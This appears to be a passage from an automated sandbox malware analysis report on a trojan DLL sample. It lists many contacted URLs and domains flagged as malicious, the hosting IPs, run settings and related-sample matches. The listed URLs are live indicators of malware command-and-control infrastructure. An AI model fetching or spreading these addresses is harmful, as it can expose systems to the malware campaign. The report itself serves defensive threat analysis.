http://giversherbalproducts.com/lBawcxb5/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5	0%	Avira URL Cloud	safe
http://kvrassociates.net/Y3kzp0WtE0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/GyY/RX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://ditrpshop.in/oHbAKuM0/PA0fD304fCotO0J7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/	0%	Avira URL Cloud	safe
profitshub.in/eJDLM6siEv	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg=	0%	Avira URL Cloud	safe
http://dhananialegalaid.com/VIVB6kFar/Hww+RX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4	0%	Avira URL Cloud	safe
streamline-trade.com/7fTwg0V7	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg=	0%	Avira URL Cloud	safe
apimar.eu/QFm9qbfjT	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://baetrading.com/IfpAV6qS/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Hww+RX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
http://sologicgroup.com/hWo6FObvrdp/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/eHkufUZ6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/OSEJRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/cxAvGkZ6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://aulaintelimundo.com/n1n3Sh4NSO08/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://marianaleyton.com/4ByNgaVdId6/KX85G344OQ07N0J7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/PA0fD304fCotO0J7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ITIYRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://streamline-trade.com/7fTwg0V7/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA==	0%	Avira URL Cloud	safe
http://pedroaros.cl/gnYxifRY/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
opulent-imports.com/DlOBqKAf	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8=	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw==	0%	Avira URL Cloud	safe
http://giversherbalproducts.com/lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ==	0%	Avira URL Cloud	safe
dhananialegalaid.com/VIVB6kFar	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
muwatin.net	185.146.22.232	true	true	0%, Virustotal, Browse	unknown
pedroaros.cl	192.185.46.34	true	true	0%, Virustotal, Browse	unknown
surveillantfire.com	50.87.147.76	true	true	0%, Virustotal, Browse	unknown
kvrassociates.net	103.125.80.58	true	true		unknown
dhananialegalaid.com	184.168.102.202	true	true		unknown
nkp.hr	185.58.73.28	true	true		unknown
giversherbalproducts.com	198.38.82.168	true	true		unknown
baetrading.com	192.254.235.244	true	true		unknown
apimar.eu	128.0.46.214	true	true		unknown
sologicgroup.com	51.222.139.54	true	true		unknown
streamline-trade.com	192.185.113.204	true	true		unknown
nitro2point0.com	103.50.162.157	true	true		unknown
opulent-imports.com	185.20.51.238	true	true		unknown
profitshub.in	199.193.116.170	true	true		unknown
ditrpshop.in	166.62.10.34	true	true		unknown
marianaleyton.com	165.227.90.171	true	true		unknown
aulaintelimundo.com	67.227.144.24	true	true		unknown
hynot-adventures.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://giversherbalproducts.com/lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
giversherbalproducts.com/lBawcxb5	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://ditrpshop.in/oHbAKuM0/fQEdNBwFeEJ9dnlkenp3ZXhlfw==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
ditrpshop.in/oHbAKuM0	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA==	true	Avira URL Cloud: safe	unknown
surveillantfire.com/s6ImD3DAJs	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/chwzH0Z6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/DxMffwwOHXMHeXJDenV9ZXt9dGF5ZHg=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5	true	Avira URL Cloud: safe	unknown
http://kvrassociates.net/Y3kzp0WtE0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/GyY/RX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://ditrpshop.in/oHbAKuM0/PA0fD304fCotO0J7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
profitshub.in/eJDLM6siEv	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg=	true	Avira URL Cloud: safe	unknown
http://dhananialegalaid.com/VIVB6kFar/Hww+RX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4	true	Avira URL Cloud: safe	unknown
streamline-trade.com/7fTwg0V7	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg=	true	Avira URL Cloud: safe	unknown
apimar.eu/QFm9qbfjT	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://baetrading.com/IfpAV6qS/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/Hww+RX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/ICYbCzstHxl+BhF4Jg5+GH0FRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://sologicgroup.com/hWo6FObvrdp/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/eHkufUZ6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/OSEJRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/cxAvGkZ6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://aulaintelimundo.com/n1n3Sh4NSO08/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://marianaleyton.com/4ByNgaVdId6/KX85G344OQ07N0J7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/ACA4KhwTDH8VH3MrOQp8GAYHIjZ4egBFfnJ4ZX15c2R5Ynw=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/PA0fD304fCotO0J7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/ITIYRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://streamline-trade.com/7fTwg0V7/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA==	true	Avira URL Cloud: safe	unknown
http://pedroaros.cl/gnYxifRY/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
opulent-imports.com/DlOBqKAf	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8=	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw==	true	Avira URL Cloud: safe	unknown
http://giversherbalproducts.com/lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ==	true	Avira URL Cloud: safe	unknown
dhananialegalaid.com/VIVB6kFar	true	Avira URL Cloud: safe	low
http://giversherbalproducts.com/lBawcxb5/CAY8NDwxeTEffCYaHHoWJ3hCfXZ5ZHp6d2V4ZX8=	true		unknown
http://giversherbalproducts.com/lBawcxb5/O3ISJh0lISkdGgFDenV9ZXt9dGF5ZHg=	true		unknown
http://giversherbalproducts.com/lBawcxb5/DCN9DjcGDiYmIB8OeB4gLnM/GScxBAgmCSAiBkV+cnhlfXlzZHlifA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/DQwoRX5yeGV9eXNkeWJ8	true		unknown
nkp.hr/a9TmwEDR	true		low
http://giversherbalproducts.com/lBawcxb5/GCYaJQk6DgYpLX8iLDQuHBIzPzcieQoPJ3sSE0V+cnhlfXlzZHlifA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/PAUpKBYYDz0bHQkGMRZ/eSJCfXZ5ZHp6d2V4ZX8=	true		unknown
http://giversherbalproducts.com/lBawcxb5/EgV4KAUtCD4PID17LglGenN5Yn59cmV+YXg=	true		unknown
http://giversherbalproducts.com/lBawcxb5/H0N6dX1le310YXlkeA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/EgwSFkZ6c3lifn1yZX5heA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/AjlCfXZ5ZHp6d2V4ZX8=	true		unknown
http://giversherbalproducts.com/lBawcxb5/Mz0afCg7BhkbLgUPQn12eWR6endleGV/	true		unknown
http://giversherbalproducts.com/lBawcxb5/OBkTOjZ9egYmOC4ZKQd8ej4xfXsOKAp9BAx5Qn12eWR6endleGV/	true		unknown
http://giversherbalproducts.com/lBawcxb5/enl4GDYcBgIOewx5OBp/MiEbKDx8AkJ9dnlkenp3ZXhlfw==	true		unknown
http://giversherbalproducts.com/lBawcxb5/P3glHSkheRgAfBMIMgUiKCMaGD4dK0J9dnlkenp3ZXhlfw==	true		unknown
http://giversherbalproducts.com/lBawcxb5/DwsdInwaBgE7GDJDenV9ZXt9dGF5ZHg=	true		unknown
http://giversherbalproducts.com/lBawcxb5/OBp4HyU8LTIIRnpzeWJ+fXJlfmF4	true		unknown
http://giversherbalproducts.com/lBawcxb5/HQUsCCQkQ3p1fWV7fXRheWR4	true		unknown
http://giversherbalproducts.com/lBawcxb5/JQ97PA4nI3IBJH06MhYrCggCC0Z6c3lifn1yZX5heA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/LSQbFSMqOi86NycfOA4HeXMIIXwEGBInKTkgQn12eWR6endleGV/	true		unknown
http://giversherbalproducts.com/lBawcxb5/Hg4RFBcNMzMqHRwDMXUdPAAqRX5yeGV9eXNkeWJ8	true		unknown
baetrading.com/IfpAV6qS	true		low
http://giversherbalproducts.com/lBawcxb5/LHsgBQ4OEg8oLiR4Qn12eWR6endleGV/	true		unknown
http://giversherbalproducts.com/lBawcxb5/CgN/RX5yeGV9eXNkeWJ8	true		unknown
http://giversherbalproducts.com/lBawcxb5/EUN6dX1le310YXlkeA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/KgEcGBw6EB89ADsrEQgOOjMZOgUyIR87CSVDenV9ZXt9dGF5ZHg=	true		unknown
http://nkp.hr/a9TmwEDR/HD0hGnwRJQ8CBTpyHQYeHg8EAAVzIEJ9dnlkenp3ZXhlfw==	true		unknown
http://giversherbalproducts.com/lBawcxb5/EgIsGisbLy8FIAp9DwgHByIYeEZ6c3lifn1yZX5heA==	true		unknown
http://profitshub.in/eJDLM6siEv/ASk5Kx0SPR8lJjE5eTg9GkN6dX1le310YXlkeA==	true		unknown
http://giversherbalproducts.com/lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/	true		unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
165.227.90.171	marianaleyton.com	United States	14061	DIGITALOCEAN-ASNUS	true
185.146.22.232	muwatin.net	United States	55293	A2HOSTINGUS	true
192.254.235.244	baetrading.com	United States	46606	UNIFIEDLAYER-AS-1US	true
198.38.82.168	giversherbalproducts.com	United States	23352	SERVERCENTRALUS	true
51.222.139.54	sologicgroup.com	France	16276	OVHFR	true
103.125.80.58	kvrassociates.net	India	137621	SCAKE-AS-INServercakeWebhostingIndiaPvtLtdIN	true
185.58.73.28	nkp.hr	Croatia (LOCAL Name: Hrvatska)	201563	AVALON-ASHR	true
67.227.144.24	aulaintelimundo.com	United States	32244	LIQUIDWEBUS	true
192.185.46.34	pedroaros.cl	United States	46606	UNIFIEDLAYER-AS-1US	true
184.168.102.202	dhananialegalaid.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
50.87.147.76	surveillantfire.com	United States	46606	UNIFIEDLAYER-AS-1US	true
103.50.162.157	nitro2point0.com	India	394695	PUBLIC-DOMAIN-REGISTRYUS	true
128.0.46.214	apimar.eu	Romania	3223	VOXILITYGB	true
192.185.113.204	streamline-trade.com	United States	46606	UNIFIEDLAYER-AS-1US	true
185.20.51.238	opulent-imports.com	United Kingdom	198047	UKWEB-EQXGB	true
166.62.10.34	ditrpshop.in	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
199.193.116.170	profitshub.in	United States	29802	HVC-ASUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	496432
Start date:	04.10.2021
Start time:	15:59:59
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	test2.test (renamed file extension from test to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.evad.winDLL@7/0@640/18
EGA Information:	Failed
HDC Information:	Successful, ratio: 37.2% (good quality ratio 24.1%) Quality average: 39.6% Quality standard deviation: 36.2%
HCA Information:	Successful, ratio: 73% Number of executed functions: 34 Number of non-executed functions: 42
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.203.141.148, 52.184.81.210, 20.54.110.249, 67.26.73.254, 8.253.204.121, 8.253.204.249, 8.248.147.254, 8.248.117.254, 2.20.178.56, 2.20.178.10, 20.199.120.151, 40.112.88.60, 2.20.178.24, 2.20.178.33, 20.199.120.85, 20.50.102.62, 2.16.140.120 Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, store-images.s-microsoft.com-c.edgekey.net, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, wu-shim.trafficmanager.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-eas-b.eastasia.cloudapp.azure.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:01:07	API Interceptor	228x Sleep call for process: rundll32.exe modified
16:01:09	API Interceptor	228x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.50.162.157	http://www.stevegoadart.com/INCORRECT-INVOICE/	Get hash	malicious	Browse	credibleinteriors.in/nxcPA/
	Invoice Number 750084.doc	Get hash	malicious	Browse	credibleinteriors.in/nxcPA/
	Invoice Number 750084.doc	Get hash	malicious	Browse	credibleinteriors.in/nxcPA/
198.38.82.168	http://itlinkeg.com/facebook1/gfid=eiahf&refid=88151	Get hash	malicious	Browse	itlinkeg.com/wp-login.php

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	031254788225.vbs	Get hash	malicious	Browse	68.183.64.60
	7C38DA59F7862D189AC6E2D4959016D062C972D3C8940.exe	Get hash	malicious	Browse	165.227.31.192
	0ANsyKX3Q9.exe	Get hash	malicious	Browse	165.227.31.192
	36458565.vbs	Get hash	malicious	Browse	68.183.64.60
	uZfztIzuIE	Get hash	malicious	Browse	95.85.2.20
	lilu6[1].dll	Get hash	malicious	Browse	164.90.226.27
	4AD2BC141F8016E37FCC4FA80D574D42D8CBC4244CA91.exe	Get hash	malicious	Browse	162.243.25.33
	t.msi.exe	Get hash	malicious	Browse	188.166.46.127
	F75rJPKdGb.exe	Get hash	malicious	Browse	139.59.58.109
	tgduMePOh0.exe	Get hash	malicious	Browse	146.185.189.197
	atxhua	Get hash	malicious	Browse	206.189.0.103
	nvitpj	Get hash	malicious	Browse	206.189.0.103
	cemtop	Get hash	malicious	Browse	206.189.0.103
